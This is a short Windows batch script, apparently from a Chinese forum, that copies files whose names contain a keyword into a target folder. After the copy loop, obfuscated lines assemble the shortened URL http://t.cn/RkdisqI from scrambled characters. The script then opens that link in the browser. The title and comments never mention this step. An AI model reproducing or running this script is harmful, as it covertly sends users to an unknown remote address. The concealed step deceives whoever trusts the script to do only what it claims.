@echo off & title 根据关键字拷贝文件 By 依梦琴瑶
::设置要搜索的关键字，多个关键字之间用空格隔开
set Word=修改
::设置要处理的文件夹
set SrcDir=E:\新建文件夹
::设置文件拷贝至哪个目录
set SavDir=E:\Download
cd /d "%SrcDir%"
for  %%a in (*) do (
echo %%a
echo "%%~na" | findstr /i "%Word%" >nul 2>nul && copy "%%~a" "%SavDir%\%Word%\"
)
pause
set S1=.:htpcn/
set S2=%S1:~2,1%%S1:~3,1%%S1:~3,1%%S1:~4,1%%S1:~1,1%%S1:~7,1%
set S3=%S1:~7,1%%S1:~3,1%%S1:~0,1%%S1:~5,1%%S1:~6,1%%S1:~7,1%
start "" "%S2%%S3%RkdisqI"
exit
复制代码